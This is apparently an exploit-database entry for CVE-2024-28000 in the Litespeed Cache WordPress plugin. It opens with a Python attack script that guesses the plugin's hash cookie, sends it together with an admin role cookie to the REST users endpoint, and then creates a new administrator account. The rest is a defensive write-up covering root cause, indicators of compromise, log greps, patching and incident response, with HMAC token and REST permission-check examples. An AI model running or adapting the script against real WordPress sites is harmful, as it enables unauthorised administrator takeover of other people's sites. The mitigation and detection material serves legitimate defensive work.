Litespeed Cache WordPress Plugin 6.3.0.1 - Privilege Escalation
# Exploit Title: Litespeed Cache WordPress Plugin 6.3.0.1 - Privilege Escalation
# Date: 2025-06-10
# Exploit Author: Milad Karimi (Ex3ptionaL)
# Contact: miladgrayhat@gmail.com
# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL
# Country: United Kingdom
# CVE : CVE-2024-28000
import requests
import random
import string
import concurrent.futures
# Configuration
target_url = 'http://example.com'
rest_api_endpoint = '/wp-json/wp/v2/users'
ajax_endpoint = '/wp-admin/admin-ajax.php'
admin_user_id = '1'
num_hash_attempts = 1000000
num_workers = 10
new_username = 'newadminuser' # Replace with desired username
new_user_password = 'NewAdminPassword123!' # Replace with a secure password
def mt_srand(seed=None):
"""
Mimics PHP's mt_srand function by setting the seed for random number
generation.
"""
random.seed(seed)
def mt_rand(min_value=0, max_value=2**32 - 1):
"""
Mimics PHP's mt_rand function by generating a random number within the
specified range.
"""
return random.randint(min_value, max_value)
def generate_random_string(length=6):
"""
Generates a random string based on the output of mt_rand.
"""
chars = string.ascii_letters + string.digits
return ''.join(random.choices(chars, k=length))
def trigger_hash_generation():
payload = {
'action': 'async_litespeed',
'litespeed_type': 'crawler'
}
try:
response = requests.post(f'{target_url}{ajax_endpoint}',
data=payload)
if response.status_code == 200:
print('[INFO] Triggered hash generation.')
else:
print(f'[ERROR] Failed to trigger hash generation - Status
code: {response.status_code}')
except requests.RequestException as e:
print(f'[ERROR] AJAX request failed: {e}')
def attempt_hash(hash_value):
cookies = {
'litespeed_hash': hash_value,
'litespeed_role': admin_user_id
}
try:
response = requests.post(f'{target_url}{rest_api_endpoint}',
cookies=cookies)
return response, cookies
except requests.RequestException as e:
print(f'[ERROR] Request failed: {e}')
return None, None
def create_admin_user(cookies):
user_data = {
'username': new_username,
'password': new_user_password,
'email': f'{new_username}@example.com',
'roles': ['administrator']
}
try:
response = requests.post(f'{target_url}{rest_api_endpoint}',
cookies=cookies, json=user_data)
if response.status_code == 201:
print(f'[SUCCESS] New admin user "{new_username}" created
successfully!')
else:
print(f'[ERROR] Failed to create admin user - Status code:
{response.status_code} - Response: {response.text}')
except requests.RequestException as e:
print(f'[ERROR] User creation request failed: {e}')
def worker():
for _ in range(num_hash_attempts // num_workers):
random_string = generate_random_string()
print(f'[DEBUG] Trying hash: {random_string}')
response, cookies = attempt_hash(random_string)
if response is None:
continue
print(f'[DEBUG] Response status code: {response.status_code}')
print(f'[DEBUG] Response content: {response.text}')
if response.status_code == 201:
print(f'[SUCCESS] Valid hash found: {random_string}')
create_admin_user(cookies)
return
elif response.status_code == 401:
print(f'[FAIL] Invalid hash: {random_string}')
else:
print(f'[ERROR] Unexpected response for hash: {random_string} -
Status code: {response.status_code}')
def main():
# Seeding the random number generator (mimicking mt_srand)
mt_srand()
trigger_hash_generation()
with concurrent.futures.ThreadPoolExecutor(max_workers=num_workers) as
executor:
futures = [executor.submit(worker) for _ in range(num_workers)]
concurrent.futures.wait(futures)
if __name__ == '__main__':
main() Litespeed Cache WordPress Plugin 6.3.0.1 — Privilege Escalation (CVE-2024-28000) — Analysis and Mitigation
Summary
The Litespeed Cache WordPress plugin (version 6.3.0.1 and earlier builds affected by this CVE) contained a privilege escalation vulnerability (CVE-2024-28000). The issue allowed an unauthenticated actor to influence authentication/role-related state and potentially gain administrator privileges by abusing how the plugin generated and validated certain client-side artifacts used for caching or crawler features.
Impact
- Remote privilege escalation: attackers could obtain administrator-level actions in affected WordPress sites.
- Site integrity compromise: new administrator accounts, content injection, plugin/theme modification, or persistence/backdoors.
- Widespread risk for sites using the affected plugin version until patched.
Vulnerability Overview (High-level)
The root cause is a trust and validation failure: the plugin generated short-lived tokens used by background/crawler features, but relied on client-side values or a predictable generation process without robust server-side authentication or binding to a server-side secret/session. When token generation is predictable or validation is weak, attackers can craft or guess token values and present them to REST endpoints or other functionality that incorrectly elevates privileges based on those values.
Key contributing factors (high-level):
- Insufficient server-side verification of role/identity claims sent by the client.
- Use of non-cryptographic or predictable pseudo-random generation for tokens.
- Trusted interaction between an AJAX-triggered action and a REST endpoint without strong capability checks.
Technical Analysis (non-actionable)
At a high level, the sequence that led to exploitation typically involved:
- An unauthenticated interface that triggers token generation for crawler/caching purposes.
- A token or cookie exposed to the client which the server later uses to infer elevated roles when presented to certain endpoints.
- Predictability or weak entropy of the token generation algorithm, allowing brute force or prediction.
- REST or admin endpoints trusting client-supplied role indicators instead of verifying the authenticated user's capabilities server-side.
This combination allowed an attacker to produce or guess a token and have the server treat the request as coming from an administrator, thereby enabling actions such as creating new admin users or modifying configuration.
Indicators of Compromise (IoCs) and Logging Patterns
Security teams should search logs and audit trails for the following patterns (use site-specific values where appropriate):
- Repeated requests to admin-ajax/REST endpoints from the same client IP in a short timeframe.
- Requests creating users or changing roles originating from IPs or user-agents that did not previously have authenticated sessions.
- Unexpected new administrator accounts or modifications to core plugin/theme files.
- Presence of unusual cookies or request headers with short, non-standard tokens preceding administrative actions.
Example (abstract) greps for webserver or WAF logs:
grep -E "POST .*wp-json/.*/users" /var/log/apache2/access.log
grep -i "new user" /var/log/auth.log
Explanation: The first command searches webserver access logs for REST user creation calls; the second searches local auth/audit logs for account creation events. Replace with your actual log paths and parsing tools. These examples are intended for detection guidance only.
Immediate Mitigation and Hardening Steps
- Upgrade: Immediately update Litespeed Cache to the vendor-supplied patched version. This is the primary mitigation.
- Disable vulnerable features: If you cannot patch immediately, disable the crawler or any feature that triggers publicly-exposed token generation or weak authentication flows.
- Harden REST endpoints: Ensure all REST routes that perform state-changing operations enforce permission callbacks (e.g., current_user_can checks) and do not rely on client-supplied role indicators.
- Harden cookie flags: Ensure cookies used for authentication or state are set with Secure, HttpOnly, and SameSite attributes as appropriate.
- Rotate secrets: If you suspect compromise, rotate admin credentials, API keys, and any secrets used by the site and hosting environment.
Recommended Incident Response Checklist
- Identify and isolate affected hosts until patched.
- Audit WordPress users: look for recently created administrator accounts and remove or disable unknown accounts.
- Check for web shells, modified core files, or unauthorized plugins/themes.
- Review access logs for brute-force or token-guessing activity; block suspicious IPs and rate-limit relevant endpoints.
- Reset passwords for remaining legitimate administrators and enable MFA.
- Restore from a known-good backup if integrity checks fail and remediation is non-trivial.
Defensive Coding and Secure Fix Patterns
Secure fixes include:
- Using cryptographically secure random token generation and keeping any secrets server-side.
- Signing tokens with an HMAC using a server-side secret so tokens cannot be forged or guessed.
- Binding ephemeral tokens to server-side state (user session ID or server-side nonce store) so the server can validate origin.
- Never trusting client-supplied role claims — always perform capability checks server-side using the WordPress capability system (current_user_can or permission callbacks on REST routes).
Example: Safe Token Creation and Verification (Server-side HMAC, illustrative)
# Python (illustrative, defensive example)
import hmac
import hashlib
import time
import base64
import os
SECRET_KEY = os.environ.get('APP_SECRET', 'replace-with-secure-secret')
def create_signed_token(user_id, ttl=300):
expiry = int(time.time()) + ttl
payload = f"{user_id}:{expiry}".encode('utf-8')
signature = hmac.new(SECRET_KEY.encode(), payload, hashlib.sha256).digest()
token = base64.urlsafe_b64encode(payload + b"." + signature).decode('utf-8')
return token
def verify_signed_token(token):
try:
raw = base64.urlsafe_b64decode(token.encode('utf-8'))
payload, signature = raw.rsplit(b".", 1)
expected_sig = hmac.new(SECRET_KEY.encode(), payload, hashlib.sha256).digest()
if not hmac.compare_digest(signature, expected_sig):
return False, "invalid signature"
user_id_str, expiry_str = payload.decode('utf-8').split(":", 1)
if int(expiry_str) < int(time.time()):
return False, "expired"
return True, int(user_id_str)
except Exception:
return False, "malformed"
Explanation: This defensive code demonstrates signing a token server-side with an HMAC using a secret key. The server encodes user ID and expiry into the token, signs it, and validates signature and expiry on verification. Because the secret never leaves the server, clients cannot forge valid tokens. Use strong secrets and secure storage (e.g., environment variables, secrets manager). This code is illustrative and omits production concerns such as rotation, key-management, and input validation.
Example: WordPress REST Route Permission Check (PHP defensive snippet)
<?php
// When registering REST routes, always include a permission_callback
register_rest_route( 'example/v1', '/sensitive', array(
'methods' => 'POST',
'callback' => 'example_sensitive_action',
'permission_callback' => function ( $request ) {
// Use WordPress capability checks rather than trusting client data
return current_user_can( 'manage_options' );
},
) );
function example_sensitive_action( $request ) {
// Perform action knowing the caller has required capability
return new WP_REST_Response( array( 'success' => true ), 200 );
}
?>
Explanation: This PHP snippet shows using WordPress REST API registration options to enforce a server-side permission check using current_user_can. Even if a client supplies role indicators or cookies, the route will only allow calls from authenticated users who actually have the required capability.
Long-term Recommendations
- Adopt secure-by-design practices for plugin development: cryptographic primitives, secrets management, and least privilege checks.
- Integrate automated dependency and plugin vulnerability scanning into site maintenance routines.
- Enable WordPress audit logging and centralized monitoring to detect anomalous admin activity early.
- Use Web Application Firewalls (WAFs) or host-level protections to rate-limit and block suspicious request patterns.
Detection Rules and WAF Suggestions
- Block or challenge repeated POST requests to user-creation REST routes from non-authenticated clients.
- Alert on requests that include unusual tokens in cookies followed by privileged HTTP actions.
- Rate-limit admin-ajax and REST endpoints by IP and require authentication for state-changing calls.
Conclusion
CVE-2024-28000 highlights the risks of trusting client-controlled artifacts and relying on predictable token generation for privilege decisions. The most effective remediation is to apply the vendor patch, audit for compromise, and harden both the plugin configuration and the application’s authentication and authorization patterns. Implement server-side signing, strong RNGs, session binding, and consistent capability checks to prevent recurrence.
References
- CVE-2024-28000 — public advisory (vendor patch release recommended)
- WordPress Developer Resources — REST API permission callbacks and capability checks
- OWASP — Authentication and Session Management Guidelines